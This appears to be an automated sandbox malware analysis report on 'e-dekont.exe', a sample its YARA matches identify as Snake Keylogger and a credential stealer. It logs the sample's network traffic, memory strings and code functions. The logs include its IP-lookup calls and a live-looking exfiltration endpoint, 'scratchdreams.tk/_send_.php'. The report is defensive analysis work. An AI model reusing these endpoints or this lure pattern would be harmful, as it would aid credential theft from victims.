Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 4x nop then jmp 06C06A19h	2_2_06C06770
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 4x nop then jmp 06C065C1h	2_2_06C06318
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 4x nop then jmp 06C00B99h	2_2_06C008F0
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 4x nop then jmp 06C07BA1h	2_2_06C078F8
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 4x nop then jmp 06C00741h	2_2_06C00498
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 4x nop then jmp 06C002E9h	2_2_06C00040
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	2_2_06C03808
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 4x nop then jmp 06C072C9h	2_2_06C07020
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 4x nop then jmp 06C05891h	2_2_06C055E8
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 4x nop then jmp 06C01449h	2_2_06C011A0
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 4x nop then jmp 06C08451h	2_2_06C081A8
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 4x nop then jmp 06C00FF1h	2_2_06C00D48
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 4x nop then jmp 06C07FF9h	2_2_06C07D50

Networking

Yara detected Generic Downloader

Source: Yara match	File source: 2.2.e-dekont.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.e-dekont.exe.4720090.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.e-dekont.exe.46bd870.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.e-dekont.exe.465b050.9.raw.unpack, type: UNPACKEDPE

Source: global traffic	HTTP traffic detected: GET /xml/154.16.105.36 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/154.16.105.36 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/154.16.105.36 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/154.16.105.36 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/154.16.105.36 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/154.16.105.36 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/154.16.105.36 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/154.16.105.36 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /_send_.php?TS HTTP/1.1Host: scratchdreams.tkConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 104.21.67.152 104.21.67.152
Source: Joe Sandbox View	IP Address: 158.101.44.242 158.101.44.242

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: checkip.dyndns.org

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown

HTTPS traffic detected: 104.21.67.152:443 -> 192.168.2.4:49734 version: TLS 1.0

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /xml/154.16.105.36 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/154.16.105.36 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/154.16.105.36 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/154.16.105.36 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/154.16.105.36 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/154.16.105.36 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/154.16.105.36 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/154.16.105.36 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /_send_.php?TS HTTP/1.1Host: scratchdreams.tkConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown

DNS traffic detected: queries for: checkip.dyndns.org

Source: e-dekont.exe, 00000002.00000002.4088425866.0000000003124000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4088425866.0000000003116000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4088425866.0000000003160000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4088425866.00000000030FB000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4088425866.0000000003150000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4088425866.0000000003068000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: e-dekont.exe, 00000002.00000002.4088425866.0000000003124000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4088425866.0000000003116000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4088425866.0000000003160000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4088425866.00000000030AB000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4088425866.00000000030FB000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4088425866.0000000003150000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4088425866.0000000003068000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4088425866.0000000003056000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4088425866.0000000003131000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: e-dekont.exe, 00000002.00000002.4088425866.0000000002FA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: e-dekont.exe, 00000000.00000002.1662409618.00000000044BE000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4086321706.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: e-dekont.exe, 00000002.00000002.4088425866.0000000003124000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4088425866.0000000003116000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4088425866.0000000003160000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4088425866.00000000030FB000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4088425866.0000000003150000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4088425866.0000000003081000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: e-dekont.exe, 00000002.00000002.4088425866.0000000002FA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: e-dekont.exe, 00000002.00000002.4088425866.0000000003160000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://scratchdreams.tk
Source: e-dekont.exe	String found in binary or memory: http://tempuri.org/DataSet1.xsd
Source: e-dekont.exe, 00000000.00000002.1664799082.0000000006C42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: e-dekont.exe, 00000000.00000002.1664799082.0000000006C42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: e-dekont.exe, 00000000.00000002.1664799082.0000000006C42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: e-dekont.exe, 00000000.00000002.1664799082.0000000006C42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: e-dekont.exe, 00000000.00000002.1664799082.0000000006C42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: e-dekont.exe, 00000000.00000002.1664799082.0000000006C42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: e-dekont.exe, 00000000.00000002.1664799082.0000000006C42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: e-dekont.exe, 00000000.00000002.1664799082.0000000006C42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: e-dekont.exe, 00000000.00000002.1664799082.0000000006C42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: e-dekont.exe, 00000000.00000002.1664799082.0000000006C42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: e-dekont.exe, 00000000.00000002.1664799082.0000000006C42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: e-dekont.exe, 00000000.00000002.1664799082.0000000006C42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: e-dekont.exe, 00000000.00000002.1664799082.0000000006C42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: e-dekont.exe, 00000000.00000002.1664799082.0000000006C42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: e-dekont.exe, 00000000.00000002.1664799082.0000000006C42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: e-dekont.exe, 00000000.00000002.1664799082.0000000006C42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: e-dekont.exe, 00000000.00000002.1664799082.0000000006C42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: e-dekont.exe, 00000000.00000002.1664799082.0000000006C42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: e-dekont.exe, 00000000.00000002.1664799082.0000000006C42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: e-dekont.exe, 00000000.00000002.1664799082.0000000006C42000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000000.00000002.1664762334.00000000054D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: e-dekont.exe, 00000000.00000002.1664799082.0000000006C42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: e-dekont.exe, 00000000.00000002.1664799082.0000000006C42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: e-dekont.exe, 00000000.00000002.1664799082.0000000006C42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: e-dekont.exe, 00000000.00000002.1664799082.0000000006C42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: e-dekont.exe, 00000000.00000002.1664799082.0000000006C42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: e-dekont.exe, 00000002.00000002.4088425866.0000000003124000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4088425866.0000000003116000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4088425866.0000000003160000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4088425866.00000000030AB000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4088425866.00000000030FB000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4088425866.0000000003150000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4088425866.0000000003068000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: e-dekont.exe, 00000000.00000002.1662409618.00000000044BE000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4086321706.0000000000402000.00000040.00000400.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4088425866.0000000003068000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: e-dekont.exe, 00000002.00000002.4088425866.0000000003068000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/154.16.105.36
Source: e-dekont.exe, 00000002.00000002.4088425866.0000000003124000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4088425866.0000000003116000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4088425866.0000000003160000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4088425866.00000000030AB000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4088425866.00000000030FB000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4088425866.0000000003150000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/154.16.105.36$
Source: e-dekont.exe, 00000000.00000002.1662409618.00000000044BE000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4088425866.0000000003160000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4088425866.0000000002FA1000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4086321706.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://scratchdreams.tk
Source: e-dekont.exe, 00000002.00000002.4088425866.0000000003160000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://scratchdreams.tk/_send_.php?TS

Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown

HTTPS traffic detected: 104.21.27.85:443 -> 192.168.2.4:49750 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.e-dekont.exe.4720090.8.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.e-dekont.exe.4720090.8.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.e-dekont.exe.4720090.8.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.e-dekont.exe.4720090.8.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 2.2.e-dekont.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 2.2.e-dekont.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 2.2.e-dekont.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 2.2.e-dekont.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 0.2.e-dekont.exe.4720090.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.e-dekont.exe.4720090.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.e-dekont.exe.4720090.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.e-dekont.exe.4720090.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 0.2.e-dekont.exe.46bd870.10.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.e-dekont.exe.46bd870.10.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.e-dekont.exe.46bd870.10.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.e-dekont.exe.46bd870.10.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 0.2.e-dekont.exe.465b050.9.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.e-dekont.exe.465b050.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.e-dekont.exe.465b050.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000002.00000002.4086321706.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000002.00000002.4086321706.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.1662409618.00000000044BE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000000.00000002.1662409618.00000000044BE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: Process Memory Space: e-dekont.exe PID: 7268, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: e-dekont.exe PID: 7268, type: MEMORYSTR	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: Process Memory Space: e-dekont.exe PID: 7424, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: e-dekont.exe PID: 7424, type: MEMORYSTR	Matched rule: Detects Snake Keylogger Author: ditekSHen

.NET source code contains very large array initializations

Source: 0.2.e-dekont.exe.2b052b4.1.raw.unpack, HomeView.cs	Large array initialization: : array initializer size 33604
Source: 0.2.e-dekont.exe.73b0000.12.raw.unpack, HomeView.cs	Large array initialization: : array initializer size 33604

Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 0_2_0295DA4C	0_2_0295DA4C
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 0_2_05066880	0_2_05066880
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 0_2_05060120	0_2_05060120
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 0_2_05060130	0_2_05060130
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 0_2_05066870	0_2_05066870
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 0_2_073F7F50	0_2_073F7F50
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 0_2_073F7C48	0_2_073F7C48
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 0_2_073F3BF0	0_2_073F3BF0
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 0_2_073F4AB0	0_2_073F4AB0
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 0_2_073F2910	0_2_073F2910
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 0_2_073F3650	0_2_073F3650
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 0_2_073FC4CC	0_2_073FC4CC
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 0_2_073FC310	0_2_073FC310
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 0_2_073FC301	0_2_073FC301
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 0_2_073FA200	0_2_073FA200
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 0_2_073F318A	0_2_073F318A
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 0_2_073FA1F0	0_2_073FA1F0
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 0_2_073FA1C9	0_2_073FA1C9
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 0_2_073F6E00	0_2_073F6E00
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 0_2_073F8EE0	0_2_073F8EE0
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 0_2_073F8ED0	0_2_073F8ED0
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 0_2_073F1DF0	0_2_073F1DF0
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 0_2_073F7C38	0_2_073F7C38
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 0_2_073F2BE1	0_2_073F2BE1
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 0_2_073F6BC8	0_2_073F6BC8
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 0_2_073F59A0	0_2_073F59A0
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 0_2_073F5990	0_2_073F5990
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 0_2_073F49C1	0_2_073F49C1
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 0_2_073F6848	0_2_073F6848
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 0_2_073F2889	0_2_073F2889
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 0_2_07619180	0_2_07619180
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 0_2_07610040	0_2_07610040
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 0_2_07614D18	0_2_07614D18
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 0_2_076155F0	0_2_076155F0
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 0_2_07612CA8	0_2_07612CA8
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 0_2_0761001E	0_2_0761001E
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 0_2_076148E0	0_2_076148E0
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 0_2_076130D0	0_2_076130D0
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_02DCB388	2_2_02DCB388
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_02DCC1F0	2_2_02DCC1F0
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_02DC6168	2_2_02DC6168
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_02DC6790	2_2_02DC6790
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_02DCC7B1	2_2_02DCC7B1
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_02DCC4D0	2_2_02DCC4D0
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_02DCCA91	2_2_02DCCA91
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_02DC4B31	2_2_02DC4B31
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_02DC98B8	2_2_02DC98B8
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_02DCBF10	2_2_02DCBF10
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_02DCBC32	2_2_02DCBC32
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_02DCF4E8	2_2_02DCF4E8
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_02DC35C8	2_2_02DC35C8
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_02DCB552	2_2_02DCB552
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_02DCEA08	2_2_02DCEA08
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_02DCE9F8	2_2_02DCE9F8
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_02DCF941	2_2_02DCF941
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_05B44490	2_2_05B44490
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_05B489B0	2_2_05B489B0
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_05B49080	2_2_05B49080
